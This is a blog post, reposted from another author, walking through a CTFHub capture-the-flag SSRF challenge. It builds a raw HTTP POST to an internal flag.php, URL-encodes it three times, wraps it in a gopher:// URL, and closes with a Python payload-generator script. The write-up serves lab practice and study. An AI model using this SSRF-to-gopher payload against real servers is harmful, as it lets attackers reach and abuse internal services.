V3D4's Blog

安全技术记录/分享/交流

0%

ctfhub-ssrf-post

转载自csdn的bfengj师傅

根据题目:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.我准备了一个302.php,可能对你有用哦。

我们首先知道已经有了302.php,而且应该是需要我们利用SSRF发一个POST的请求。SSRF发送POST请求,自然而然就想到了gopher。同时题目中也提到了curl,而curl正好是支持gopher协议的,因此这题大概率就是利用gopher发送一个POST请求,然后获得flag。

我们进入之后可以试试flag.php,果然存在flag.php,不过需要从127.0.0.1进行访问。我们访问一下:
1

我们看到了key参数,大概率就是POST请求访问flag.php,同时带上key参数,但是得利用gopher。
我们再访问一下302.php,得到了源码:
2
说明302.php这里存在了一个302跳转。
我们首先构造一个POST请求。下面的是最基本的POST请求,也就是说如果构造POST,至少下面这些的内容一定要有。

1
2
3
4
5
6
7
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=8a6d748f4f820709cd9e444991d49dd0
123456

注意Content-Length那里,必须和你的POST请求长度一样,不然结果就出不了。
接下来我们要把这个POST请求进行一次URL编码:

1
2
POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D8a6d748f4f820709cd9e444991d49dd0
1

这里又是一个问题,首先就是对换行的处理。如果你的POST请求编码出来的换行是%0A,就需要把%0A改成%0D%0A:

1
2
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D8a6d748f4f820709cd9e444991d49dd0
1

然后还要再进行2次URL编码,也就是说一共要进行三次URL编码,我当时就是因为只进行了2次,就没弄到flag。
最终:

1
2
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D8a6d748f4f820709cd9e444991d49dd0
1

然后用burp进行请求就可以了:
3
成功获得flag。

ps:最后附上一个自己写的转换payload脚本,上面师傅的’/‘其实可以不用转换成url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.parse
test = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=f87d7aca2ef8e1d9437bb06de880d8cd
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
new1 = urllib.parse.quote(new)
new2 = urllib.parse.quote(new1)
result = 'gopher://127.0.0.1:80/_'+new2
print(result)